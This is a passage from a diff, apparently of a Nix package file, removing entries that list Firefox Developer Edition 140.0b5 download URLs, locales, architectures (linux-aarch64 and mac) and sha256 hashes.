-      sha256 = "ebbf21cbea61c110f81ad452989691b81ed2bf830ad7946e51f3f39c2b43df0f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/tr/firefox-140.0b5.tar.xz";
-      locale = "tr";
-      arch = "linux-aarch64";
-      sha256 = "3649d99ec7c366e1fbde17ad18282ebe05486cf178a3e59f57caa58dde6ef0bc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/trs/firefox-140.0b5.tar.xz";
-      locale = "trs";
-      arch = "linux-aarch64";
-      sha256 = "ca03e8b17cd5fb3b52d0de8b80c83299d0d90497c758442d60914cf1dd7661fe";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/uk/firefox-140.0b5.tar.xz";
-      locale = "uk";
-      arch = "linux-aarch64";
-      sha256 = "5c18f39c0ba60ba060213f8b72266663d97258dffa0453a071c7810954adc320";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ur/firefox-140.0b5.tar.xz";
-      locale = "ur";
-      arch = "linux-aarch64";
-      sha256 = "011b35f3ddae4f2dee8424731d41157008409cf3c19184429ef6a83a198975f4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/uz/firefox-140.0b5.tar.xz";
-      locale = "uz";
-      arch = "linux-aarch64";
-      sha256 = "ef25f008c7ab6bb046a46d57e93c0015a7189e7fd72684c218a0992f806005a0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/vi/firefox-140.0b5.tar.xz";
-      locale = "vi";
-      arch = "linux-aarch64";
-      sha256 = "81978010063f3d9bf9cef6719592f5fbb41c64826bb68f658547826e92c9d1d4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/xh/firefox-140.0b5.tar.xz";
-      locale = "xh";
-      arch = "linux-aarch64";
-      sha256 = "7409e9898935f78bb6762f76a68662ac64086868b89f5e52940e2e3a963e9637";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/zh-CN/firefox-140.0b5.tar.xz";
-      locale = "zh-CN";
-      arch = "linux-aarch64";
-      sha256 = "91172a1bd8722fc67e12f968a51f5d383f9a0bd3d40b4ad56c63e1316d5156fd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/zh-TW/firefox-140.0b5.tar.xz";
-      locale = "zh-TW";
-      arch = "linux-aarch64";
-      sha256 = "804adf3d4db86537174d2c680daff8df249909d8254e1e5583ac1c0d7a3a5d61";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ach/Firefox%20140.0b5.dmg";
-      locale = "ach";
-      arch = "mac";
-      sha256 = "9cb867c92c058f81bb6b7777740f0904cf8610cfe48640b4ba788bec42712cf9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/af/Firefox%20140.0b5.dmg";
-      locale = "af";
-      arch = "mac";
-      sha256 = "5713bf29a1dae788af6a2308548c0a617841a338262b901d2d7e8e6c906a2a1d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/an/Firefox%20140.0b5.dmg";
-      locale = "an";
-      arch = "mac";
-      sha256 = "24eb57bbd9af5800d8141f61db2b7abcd67afc40b35cebe9d6a606bac1170d01";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ar/Firefox%20140.0b5.dmg";
-      locale = "ar";
-      arch = "mac";
-      sha256 = "c256d4b3f0658d3d2534a2f99df78a9c8de4c6d9159052aff6d138220c2909a4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ast/Firefox%20140.0b5.dmg";
-      locale = "ast";
-      arch = "mac";
-      sha256 = "9d7008c2ba0142f14ba330a4561e5ba66a9729dffd094a56c0688eb0545d42f4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/az/Firefox%20140.0b5.dmg";
-      locale = "az";
-      arch = "mac";
-      sha256 = "b999fc3eab4d3306607f916d7d19b8b380ffd62128b9eb70f8f184a0fe01932d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/be/Firefox%20140.0b5.dmg";
-      locale = "be";
-      arch = "mac";
-      sha256 = "9b295b314b77c345e91972574b3563cf85b020876abf0825b404b7840057d046";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/bg/Firefox%20140.0b5.dmg";
-      locale = "bg";
-      arch = "mac";
-      sha256 = "3157128ca5cd17a0e1e38baa2bdf90322595751cdf51fc70201d9ce51a30c91c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/bn/Firefox%20140.0b5.dmg";
-      locale = "bn";
-      arch = "mac";
-      sha256 = "a2493281741e7338b3e58294aa72a9b39afa0976c6f5db01a0077d95ec781f8e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/br/Firefox%20140.0b5.dmg";
-      locale = "br";
-      arch = "mac";
-      sha256 = "9bbbb53e059cfb4fa06f60ea7c60cc2af7e4fc61579812f8fa9aec3474096f88";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/bs/Firefox%20140.0b5.dmg";
-      locale = "bs";
-      arch = "mac";
-      sha256 = "539dcf035d240f794074b5fa7968d12c819d044f3bb8299aacf12dc0013ef34b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ca-valencia/Firefox%20140.0b5.dmg";
-      locale = "ca-valencia";
-      arch = "mac";
-      sha256 = "97d6d7866c8d1fb14a57f926e322a9d4f3addb37fde7977a26dc882d1ac44a5b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ca/Firefox%20140.0b5.dmg";
-      locale = "ca";
-      arch = "mac";
-      sha256 = "d21d03e2e4c44e5d0ac8d3b685232c1bf21ba52cdbbccad13016834bb735b306";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/cak/Firefox%20140.0b5.dmg";
-      locale = "cak";
-      arch = "mac";
-      sha256 = "a6bbbb0815a0e0a1a9e2ac65ff4847f8be81973a5f333e0130e412cf1f20dd75";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/cs/Firefox%20140.0b5.dmg";
-      locale = "cs";
-      arch = "mac";
-      sha256 = "3363713cfe06c13a43a9682cb4ba4b5af198474122d0cb1e35c4979c29a6865c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/cy/Firefox%20140.0b5.dmg";
-      locale = "cy";
-      arch = "mac";
-      sha256 = "18354d7d9de625afcb1c210903a18d06d35ab393f5bba56b2601cca90e1a19c3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/da/Firefox%20140.0b5.dmg";
-      locale = "da";
-      arch = "mac";
-      sha256 = "09f68ef5a82abba5a0d5c26bd42efb9811a4c8e8b05e3a2e68881f86114dd681";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/de/Firefox%20140.0b5.dmg";
-      locale = "de";
-      arch = "mac";
-      sha256 = "55207c58022b9de2580800ae7f7dcf8885d4e500196bec60ae7c3895650b8be2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/dsb/Firefox%20140.0b5.dmg";
-      locale = "dsb";
-      arch = "mac";
-      sha256 = "f4e7f6644f58ed9dd5bd368be6c493542baf429d04694a41be716008b1e1cbdc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/el/Firefox%20140.0b5.dmg";
-      locale = "el";
-      arch = "mac";
-      sha256 = "56868683851c6f9acc8aaaa68db7d27aa37d8bd3897f765105ed4b834852c605";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/en-CA/Firefox%20140.0b5.dmg";
-      locale = "en-CA";
-      arch = "mac";
-      sha256 = "1cd3a2bee71bfd98480dbb185a83fad901654f5d2cbbc8b82451916123d5a477";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/en-GB/Firefox%20140.0b5.dmg";
-      locale = "en-GB";
-      arch = "mac";
-      sha256 = "0b52e0534c313ccb0b8ab92235a31d6a02e3d93ea0ed16d2226d6225f6c2e29c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/en-US/Firefox%20140.0b5.dmg";
-      locale = "en-US";
-      arch = "mac";
-      sha256 = "0e18a2d29400dec3e9285e69d40a6fcd68df1fa59b15aa1e838d97ee95b633e1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/eo/Firefox%20140.0b5.dmg";
-      locale = "eo";
-      arch = "mac";
-      sha256 = "bffc32a0b380178016dccf7b737c7ac9a4b7eb92cd16105a0b3b18dffae63ad3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/es-AR/Firefox%20140.0b5.dmg";
-      locale = "es-AR";
-      arch = "mac";
-      sha256 = "99dd4c2524cea56eb5a01d11f180a3e491878ceb4b4b85e2bdd5c351e3eed52c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/es-CL/Firefox%20140.0b5.dmg";
-      locale = "es-CL";
-      arch = "mac";
-      sha256 = "4eaf81cc55445d10bf5d6afe7060c7f673ceed66d26350104f7aef497621447d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/es-ES/Firefox%20140.0b5.dmg";
-      locale = "es-ES";
-      arch = "mac";
-      sha256 = "d2ba722e1a28cac2c99a8573364b264545777cac53839859218bd5d64400d568";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/es-MX/Firefox%20140.0b5.dmg";
-      locale = "es-MX";
-      arch = "mac";
-      sha256 = "0674f00814c54795d93a362cb15f7d3037da3fae78098a1bcf569d10625f166d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/et/Firefox%20140.0b5.dmg";
-      locale = "et";
-      arch = "mac";
-      sha256 = "05e738277b188119d318de64b473a08a144253eb7f373d2a8c9519c546c327fe";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/eu/Firefox%20140.0b5.dmg";
-      locale = "eu";
-      arch = "mac";
-      sha256 = "d1a098bccfac6bad61085d4d6e3ef07decef5665edc590a216b85d46d36f6380";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fa/Firefox%20140.0b5.dmg";
-      locale = "fa";
-      arch = "mac";
-      sha256 = "8443c7db3237c5a30ab9aeeb2084358a71a030a6d4dda51b4b3b274d8050bf09";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ff/Firefox%20140.0b5.dmg";
-      locale = "ff";
-      arch = "mac";
-      sha256 = "3f6f2af196e3ea13d21b20739ad8d4afea28753e4a6f6911efd2889c3861ffb1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fi/Firefox%20140.0b5.dmg";
-      locale = "fi";
-      arch = "mac";
-      sha256 = "404209bea1e3d2915445212b5f2ca2e448dec7adedfb4a9901eee0b175b0adb5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fr/Firefox%20140.0b5.dmg";
-      locale = "fr";
-      arch = "mac";
-      sha256 = "2530f98106899fcb75ef098929d07cb467c8c89c497205874d2285e88f23945f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fur/Firefox%20140.0b5.dmg";
-      locale = "fur";
-      arch = "mac";
-      sha256 = "c895f27121dc816cc26f849de1fa1a89221ef5df7d617f39b69d552afd08987a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fy-NL/Firefox%20140.0b5.dmg";
-      locale = "fy-NL";
-      arch = "mac";
-      sha256 = "e03b79439c2f497a0e8d87eea16ff659417d435454095e050f68f738e091644d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ga-IE/Firefox%20140.0b5.dmg";
-      locale = "ga-IE";
-      arch = "mac";
-      sha256 = "1717510309b0dfed21485023db01b4f8531807f63ce6c14fc6c6342100fd6981";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/gd/Firefox%20140.0b5.dmg";
-      locale = "gd";
-      arch = "mac";
-      sha256 = "f555688aff2a86f6859be7f5ad862107b270e733b54bc6ab8de012628c232550";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/gl/Firefox%20140.0b5.dmg";
-      locale = "gl";
-      arch = "mac";
-      sha256 = "98eb52e363b2bdaf4be579df53d5fcda9f61ba6fe0ea021be00e3ae4eef24924";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/gn/Firefox%20140.0b5.dmg";
-      locale = "gn";
-      arch = "mac";
-      sha256 = "ad81d8310d57e9f871eecc27943ed1130642c9621b7ddc1b1800bef8db084175";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/gu-IN/Firefox%20140.0b5.dmg";
-      locale = "gu-IN";
-      arch = "mac";
-      sha256 = "ef2567ffef364b7a90d69549ebaee0bdc1791db0f236492b41ee2a9ccbd8d70f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/he/Firefox%20140.0b5.dmg";
-      locale = "he";
-      arch = "mac";
-      sha256 = "8720ef790fc80a8508996adb56cc4d0ca6ea86c098d3dd6a0e3dfe8309f0b3b3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hi-IN/Firefox%20140.0b5.dmg";
-      locale = "hi-IN";
-      arch = "mac";
-      sha256 = "2918bbc9d199cb74938f54f5009def557fdfdcadec03ba7048ede47edb04f4a9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hr/Firefox%20140.0b5.dmg";
-      locale = "hr";
-      arch = "mac";
-      sha256 = "883da09b8860a1340691fcfb04f5b8665c4f497489cd4b0670e93288317472fc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hsb/Firefox%20140.0b5.dmg";
-      locale = "hsb";
-      arch = "mac";
-      sha256 = "9691f64a2cca90f19c0de44ffa92d897ab79cc9435dbe3fbb7ad8fa831b1b7b0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hu/Firefox%20140.0b5.dmg";
-      locale = "hu";
-      arch = "mac";
-      sha256 = "3283f61dddd81f508dc58fe594f37bae973be39bbb6eb783dd19a644e8dc88ea";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hy-AM/Firefox%20140.0b5.dmg";
-      locale = "hy-AM";
-      arch = "mac";
-      sha256 = "e871812379227c2c06db83ab082cbc8b4f75b67a4676176f127628272bfc5f35";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ia/Firefox%20140.0b5.dmg";
-      locale = "ia";
-      arch = "mac";
-      sha256 = "a829991bdb4c990daae07037d6047daecc7e3277a1122f1f983a8812990b9648";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/id/Firefox%20140.0b5.dmg";
-      locale = "id";
-      arch = "mac";
-      sha256 = "67d899f44ad9306ab978c00eb885df149ebbf6dd326a34075611980a2e25c81c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/is/Firefox%20140.0b5.dmg";
-      locale = "is";
-      arch = "mac";
-      sha256 = "b8498494c0b4de37276de5c75a43c846bc25c2fe8f69f59d4d36d55ae7b5eff4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/it/Firefox%20140.0b5.dmg";
-      locale = "it";
-      arch = "mac";
-      sha256 = "78db18219d6be4ea2edf84b8e2ede39140385c069a088291703c256da38ed7c9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ja-JP-mac/Firefox%20140.0b5.dmg";
-      locale = "ja-JP-mac";
-      arch = "mac";
-      sha256 = "1ffc9a14b28e03415157d31078f798ee9c65a89040c5e97fa1997fc2ee5352be";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ka/Firefox%20140.0b5.dmg";
-      locale = "ka";
-      arch = "mac";
-      sha256 = "f0da37860137d3ac987d0b736c0c9c50f4e937df1e4e0bc3d0966982332f76c4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/kab/Firefox%20140.0b5.dmg";
-      locale = "kab";
-      arch = "mac";
-      sha256 = "a81e1d4dd438a1765e201c2dfe2da494f0c5212ee122041bb9f93348b9b6dedc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/kk/Firefox%20140.0b5.dmg";
-      locale = "kk";
-      arch = "mac";
-      sha256 = "ab6d96b83912e227644c01854b938df703fa6743fb7f9baae997ab80ca065ac5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/km/Firefox%20140.0b5.dmg";
-      locale = "km";
-      arch = "mac";
-      sha256 = "42b8255377a61f1fb6967ded391204bea51c86554fefab9138b7848fcadd1ed6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/kn/Firefox%20140.0b5.dmg";
-      locale = "kn";
-      arch = "mac";
-      sha256 = "77775d78528c08d22ce54fcd00dc977b7debc6f0b315a220bef7876d1da78eb7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ko/Firefox%20140.0b5.dmg";
-      locale = "ko";
-      arch = "mac";
-      sha256 = "70d12fe85b89d9834f9c7d0fd28959cbd839e5dc7ad0f2c07c794263fb0803bf";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/lij/Firefox%20140.0b5.dmg";
-      locale = "lij";
-      arch = "mac";
-      sha256 = "a61c7c1e3a4437817a97a82f8892cea11ed3cc2bde412b5a64b0966261d17b0a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/lt/Firefox%20140.0b5.dmg";
-      locale = "lt";
-      arch = "mac";
-      sha256 = "41b77702aa68ca11f0a52a4baf60de49f9668f5cb0706802337591acd3406fdc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/lv/Firefox%20140.0b5.dmg";
-      locale = "lv";
-      arch = "mac";
-      sha256 = "bebeabd65c432b401191bacda6f939aab6c00e837a3233b369196db16a5f72cc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/mk/Firefox%20140.0b5.dmg";
-      locale = "mk";
-      arch = "mac";
-      sha256 = "291213929ba1950abbdcbab35eb59e53aace3a60b3fbe634815c3ce24af22562";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/mr/Firefox%20140.0b5.dmg";
-      locale = "mr";
-      arch = "mac";
-      sha256 = "e03bdf951d82b0962500171f0b232b1d3578f9a84e1eba78b41be19ff232e19b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ms/Firefox%20140.0b5.dmg";
-      locale = "ms";
-      arch = "mac";
-      sha256 = "011d7de785d36d20bb77bb5757399a062abfc1339de5dfb5611a029b3870601d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/my/Firefox%20140.0b5.dmg";
-      locale = "my";
-      arch = "mac";
-      sha256 = "438f8a5a989d17655ad7b71d38aa624659e90cdb6178e7094f1e27057362d104";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/nb-NO/Firefox%20140.0b5.dmg";
-      locale = "nb-NO";
-      arch = "mac";
-      sha256 = "0a964cbb07466468fa9d948c4dd2049f2cd3a5af268c38d27329f0b86ca1b9a2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ne-NP/Firefox%20140.0b5.dmg";
-      locale = "ne-NP";
-      arch = "mac";
-      sha256 = "b4f2ecc4062c00c8af8e158f1c0eabc2f3a249b8ce411907cca3f32ed7259e9a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/nl/Firefox%20140.0b5.dmg";
-      locale = "nl";
-      arch = "mac";
-      sha256 = "1ba0773d4d0871dc1cef8c43195f0b0a409cd65d60cd52bdfb2be343310ef8dd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/nn-NO/Firefox%20140.0b5.dmg";
-      locale = "nn-NO";
-      arch = "mac";
-      sha256 = "ec1b194966c8b9131dec53e4886449ebaef57cc5a74b4c07f3f1300be45d89e2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/oc/Firefox%20140.0b5.dmg";
-      locale = "oc";
-      arch = "mac";
-      sha256 = "64db50d7cf8110fb07a52a051f679de87431e20a9e8b9cc7d70216392da864e2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/pa-IN/Firefox%20140.0b5.dmg";
-      locale = "pa-IN";
-      arch = "mac";
-      sha256 = "3aef49944cbcf028418aa2d00728f6234fb097943a92613de7cbd44f1fd00763";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/pl/Firefox%20140.0b5.dmg";
-      locale = "pl";
-      arch = "mac";
-      sha256 = "11dcb8d1920b878241e0288d0bf5ab948d4e6715f614538aa37428809c45fe61";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/pt-BR/Firefox%20140.0b5.dmg";
-      locale = "pt-BR";
-      arch = "mac";
-      sha256 = "b3be4818299c53c21bdc5f969ef1ef25f63184d3d2f6b64818ed0953b133e48d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/pt-PT/Firefox%20140.0b5.dmg";
-      locale = "pt-PT";
-      arch = "mac";
-      sha256 = "00e15c805509c1581807f30824b724886822f0ae3374c7915df02df7cf1b3103";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/rm/Firefox%20140.0b5.dmg";
-      locale = "rm";
-      arch = "mac";
-      sha256 = "fcec910fe50b4048026300de226efb24102ba3b5f49414e3aeb654a53dd92021";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ro/Firefox%20140.0b5.dmg";
-      locale = "ro";
-      arch = "mac";
-      sha256 = "190cec36a92228f5a378f27c06a13318436da437b5ea9aa7e952bae31a874495";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ru/Firefox%20140.0b5.dmg";
-      locale = "ru";
-      arch = "mac";
-      sha256 = "44324c4801ee925644ea48529b303abda5bf1af1b0bafaa05b219bee85dd968e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sat/Firefox%20140.0b5.dmg";
-      locale = "sat";
-      arch = "mac";
-      sha256 = "bd75841f7cc401cbde05c186ed05acb0cc0054def01a93746ef5635544d563d1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sc/Firefox%20140.0b5.dmg";
-      locale = "sc";
-      arch = "mac";
-      sha256 = "7a33465f018f499feb6d923c78a706d6a7b91a185142cde2888cd7f3c7bc0f91";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sco/Firefox%20140.0b5.dmg";
-      locale = "sco";
-      arch = "mac";
-      sha256 = "6b375e9a10242a14962d3a32eacce685024604d1d01b94d34552836ede00dee1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/si/Firefox%20140.0b5.dmg";
-      locale = "si";
-      arch = "mac";
-      sha256 = "00d743162f57c98c4d1dfb0d9dad8b054d396b837e904bf08769052efc5bd001";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sk/Firefox%20140.0b5.dmg";
-      locale = "sk";
-      arch = "mac";
-      sha256 = "e42ed7d1e3c27e0a0b9eda60cb62f8f80ca6efff1eb5bc760dc54ef332bc7dde";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/skr/Firefox%20140.0b5.dmg";
-      locale = "skr";
-      arch = "mac";
-      sha256 = "8b8f25f4fca29cc8cdee2dc1b115dd61fbbba2b4e34182a44034237ce837883c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sl/Firefox%20140.0b5.dmg";
-      locale = "sl";
-      arch = "mac";
-      sha256 = "33bc92c84f8898cfb651e3dbaa6e44d0d36cf25bcd18590709b6ebce20fe16ea";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/son/Firefox%20140.0b5.dmg";
-      locale = "son";
-      arch = "mac";
-      sha256 = "5ec0e3c5e1245ced15371f8004bb49c9347bcbeafec752bd9ec057a6e4fa80fc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sq/Firefox%20140.0b5.dmg";
-      locale = "sq";
-      arch = "mac";
-      sha256 = "84c9d9c34363870bdfc7f6a6a5416cf5c533d785618c9d098782378c156474ef";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sr/Firefox%20140.0b5.dmg";
-      locale = "sr";
-      arch = "mac";
-      sha256 = "346f1cc1d9c66b339ea555d97965a32ba18e45e4991e08f098cd4ec848a60a87";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sv-SE/Firefox%20140.0b5.dmg";
-      locale = "sv-SE";
-      arch = "mac";
-      sha256 = "54284aed0d3dfd716c0a709a5407b5a4de149da36e28d22dccd744f5a1386f3b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/szl/Firefox%20140.0b5.dmg";
-      locale = "szl";
-      arch = "mac";
-      sha256 = "2f8c6f6a7b4ff6a4ae10cc8e613077ed44ed20686f4d774fd7b98902e9259c33";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ta/Firefox%20140.0b5.dmg";
-      locale = "ta";
-      arch = "mac";
-      sha256 = "f9e32144bbb38db0e22affc83e57413dfbe95ae0227421a9957a28a4d5bd2ca2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/te/Firefox%20140.0b5.dmg";
-      locale = "te";
-      arch = "mac";
-      sha256 = "8617d545a09b95120344c5e60a6e4819189a273a9f5607a781d5922cf83ad023";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/tg/Firefox%20140.0b5.dmg";
-      locale = "tg";
-      arch = "mac";
-      sha256 = "254bf6df96997dc2fe6bbb655bd6f46657d9a213a24829e446658ea9946ba463";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/th/Firefox%20140.0b5.dmg";
-      locale = "th";
-      arch = "mac";
-      sha256 = "4cf71048da6a518b6cbeab880ec83d8c25f1ca46768c6f6804ec186964ea11e4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/tl/Firefox%20140.0b5.dmg";
-      locale = "tl";
-      arch = "mac";
-      sha256 = "04b080f4db8874455ce062da8344a0197224d132ac9e548d1de491a76f27adb3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/tr/Firefox%20140.0b5.dmg";
-      locale = "tr";
-      arch = "mac";
-      sha256 = "3d168f13fb87266ff10a1f982cc98f40dbbacf9bead6193c5909941307964182";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/trs/Firefox%20140.0b5.dmg";
-      locale = "trs";
-      arch = "mac";
-      sha256 = "16eccfd086ee2cffa37bf3851eb9422264276d6fb75eb3b095701f041820456b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/uk/Firefox%20140.0b5.dmg";
-      locale = "uk";
-      arch = "mac";
-      sha256 = "c8dc6ff629b92cec90cd81664135988b89cda7e92885b206ffb36be6af97a5cc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ur/Firefox%20140.0b5.dmg";
-      locale = "ur";
-      arch = "mac";
-      sha256 = "d55d1df00cb1a89e256088d871f046e2c79b25d4f6c221e55072d8a52551aea2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/uz/Firefox%20140.0b5.dmg";
-      locale = "uz";
-      arch = "mac";
-      sha256 = "f97a5bc25b935296e6f41a04e4ed33776f86a95767ccebbe184ac0491cd31f27";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/vi/Firefox%20140.0b5.dmg";
-      locale = "vi";
-      arch = "mac";
-      sha256 = "dfd48c9cdfe3aa8291a83c2cb174f098076168d76340e1c787cb1a2f6254c330";
